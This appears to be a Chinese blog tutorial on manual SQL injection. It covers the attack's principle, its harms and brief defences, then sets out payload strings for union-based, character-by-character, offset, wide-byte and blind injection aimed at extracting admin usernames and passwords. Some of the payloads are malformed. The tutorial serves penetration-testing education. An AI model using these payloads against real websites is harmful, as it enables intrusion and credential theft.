zoukankan      html  css  js  c++  java
  • 基础篇——SQL注入(手工注入)

    SQL注入

      当我们学习一个知识时我们要考虑几个问题:是什么?怎么做?然后进行有条理的学习

    是什么?

      首先我们要明白SQL注入是什么:

        sql——结构化查询语言

        SQL注入就是在网站url中插入sql语句,执行sql命令,获取数据库内容,达到欺骗服务器的目的。

      SQL注入的原理:普通用户提交sql查询语句,网站没有对用户输入进行过滤导致执行用户命令

    危害及防护

      危害:SQL注入可以使入侵者获取后台账号密码、拖库、进入后台破坏、拿shell

      防护:设置网站黑名单、限制敏感词汇、对用户输入进行转义、将参数语句化

    怎么做?

      明白什么时SQL注入后我们就要学习如何注入。

      注入的前提是要找到注入漏洞,通常判断是否存在SQL注入漏洞的方法有:

        1、  ‘  单引号判断

        2、 and 1=1 1=2  判断

      找到注入漏洞后就可以进行SQL注入了,注入方法分为很多种:

        联合查询法

        逐字猜解法

        偏移注入法

        宽字节注入

        时间、布尔盲注

        报错注入

      进行注入可以使用手工和工具,手工注入方法:

        1、联合查询法

          首先判断存在注入漏洞后:

            1、使用order by

            2、使用联合查询语句:union select nums,nums(字段数) from admin(数据库表名)

                             

            3、根据返回内容进一步猜解列名:账号密码

                                                                               

        2、逐字猜解法:

          逐字猜解不需要进行猜解字段,直接使用逐字猜解语句猜解库名、列名以及账号密码

          逐字猜解语句:

                 and exists (select * from 表名)

                      and exists (select  列名  from 表名)

                      and (select top 1 len(用户名) from admin ) =名字长度

                      and (select top 1 asc(mid用户名,1,1)from admin )=97  (判断第一位的ascll值)

                 and (select top 1 asc(mid用户名,2,1)from admin )=97  (第二位)

          逐字猜解方法偏于繁琐,熟悉手工注入方式即可,在渗透测试过程中还是要讲究效率问题    

        3、偏移注入法:

          偏移注入属于无法猜解账号密码后尝试的使用方法,注入结果带有一点运气的成分

          偏移注入语句:

            order by 猜解字段

            union select num,num,num from 表名

            union select num,num,* from admin 逐个递减字段数,当可以正常访问则证明admin表存在(递减字段数假设为x)个字段

            之后每次递减x个字段

            递减一个x后

            union select num * from(admin as ainner join admin as b on a.id=b.id)

            递减两个x后

            union select num * from ((admin in as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)

            逐个递减直到所剩字段小于x后(不一定可以得到所要结果)

        4、宽字节注入法:

          什么时候使用宽字节呢?当web编码使用GBK时,可以将单引号转义则使用宽字节注入

          宽字节注入:%df (注入语句)%23

        5、报错注入,盲注则根据页面返回情况,返回时间进行注入

      以上即为常用的几种手工注入方式,如有错误请留言,博主及时更正!

  • 相关阅读:
    Crontab '2>&1 &' 含义
    form提交方式Methor
    oracle基本术语
    在工作中常用的sql语句
    常用的删除大数据方法(游标+分段)
    oracle9i、10g、11g区别
    SSH面试总结(Hibernage面试)
    实习生招聘笔试
    TopCoder上一道600分滴题
    Oracle数据库面试题汇总
  • 原文地址:https://www.cnblogs.com/twlr/p/12287141.html
Copyright © 2011-2022 走看看